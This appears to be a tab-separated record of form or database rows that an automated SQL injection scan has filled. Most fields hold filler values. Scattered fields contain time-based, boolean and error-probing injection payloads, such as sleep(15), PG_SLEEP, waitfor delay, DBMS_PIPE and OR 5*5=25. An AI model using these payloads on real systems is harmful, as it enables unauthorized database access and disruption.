1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'""+(select(0)from(select(sleep(15)))v)+""*/"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"941020""XOR(94102*if(now()=sysdate(),sleep(15),0))XOR""Z"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	941020'XOR(94102*if(now()=sysdate(),sleep(15),0))XOR'Z	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	-1 OR 5*5=25	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	-1 OR 5*5=25 -- 	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	941022JPHzQlF	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMUfgUIPiJz') OR 66=(SELECT 66 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU8mw3wLvr'; waitfor delay '0:0:15' -- 	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU-1 waitfor delay '0:0:15' -- 	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"-1"" OR 5*5=25 -- "	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	-1' OR 5*5=26 -- 	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	-1' OR 5*5=25 -- 	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	-1 OR 5*5=26	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	-1 OR 5*5=25	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	-1 OR 5*5=26 -- 	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	-1 OR 5*5=25 -- 	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMUBLwzjTTQ	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	(select 198766*667891 from DUAL)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	@@byTIA	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"1����%2527%2522\'\"""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"1'"""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1IKhL8Jo0')) OR 60=(SELECT 60 FROM PG_SLEEP(15))--	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1-1)) OR 757=(SELECT 757 FROM PG_SLEEP(15))--	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1-1 OR 261=(SELECT 261 FROM PG_SLEEP(15))--	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1slXSbRJH'; waitfor delay '0:0:15' -- 	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1-1 waitfor delay '0:0:15' -- 	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1-1; waitfor delay '0:0:15' -- 	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1kymSbVIc') OR 896=(SELECT 896 FROM PG_SLEEP(15))--	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'""+(select(0)from(select(sleep(15)))v)+""*/"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"-1"" OR 5*5=25 or ""u8DrBVCf""="""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	-1' OR 5*5=26 or 'xesSzjQ8'='	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	-1' OR 5*5=25 or 'xesSzjQ8'='	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1b7kP50La') OR 783=(SELECT 783 FROM PG_SLEEP(15))--	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1Qukqvdge' OR 940=(SELECT 940 FROM PG_SLEEP(15))--	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1-1) OR 798=(SELECT 798 FROM PG_SLEEP(15))--	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"10""XOR(1*if(now()=sysdate(),sleep(15),0))XOR""Z"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	(select 198766*667891)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1fPjFSK5t')) OR 575=(SELECT 575 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1R2xpzOZF') OR 104=(SELECT 104 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1yhUA3TX4' OR 607=(SELECT 607 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	(select 198766*667891 from DUAL)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	@@wPafr	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"1����%2527%2522\'\"""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"1'"""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1-1) OR 341=(SELECT 341 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1-1 OR 678=(SELECT 678 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1dMAzW0PX'; waitfor delay '0:0:15' -- 	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1-1 waitfor delay '0:0:15' -- 	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1-1); waitfor delay '0:0:15' -- 	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1-1; waitfor delay '0:0:15' -- 	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'""+(select(0)from(select(sleep(15)))v)+""*/"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"10""XOR(1*if(now()=sysdate(),sleep(15),0))XOR""Z"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1*if(now()=sysdate(),sleep(15),0)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"-1"" OR 5*5=26 or ""6U8SsUUE""="""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"-1"" OR 5*5=25 or ""6U8SsUUE""="""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1S0zeEgjx')) OR 202=(SELECT 202 FROM PG_SLEEP(15))--	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	-1' OR 5*5=26 or 'KS96fO6l'='	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	-1' OR 5*5=25 or 'KS96fO6l'='	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"-1"" OR 5*5=26 -- "	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"-1"" OR 5*5=25 -- "	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	-1' OR 5*5=26 -- 	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	-1' OR 5*5=25 -- 	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	-1 OR 5*5=26	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	-1 OR 5*5=25	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	-1 OR 5*5=26 -- 	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	-1 OR 5*5=25 -- 	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1eRiaBQNt	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	(select 198766*667891 from DUAL)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"ncMUFCMU����%2527%2522\'\"""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"ncMUFCMU'"""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"ncMUFCMU'"""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1-1); waitfor delay '0:0:15' -- 	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1*if(now()=sysdate(),sleep(15),0)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"-1"" OR 5*5=26 or ""u8DrBVCf""="""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
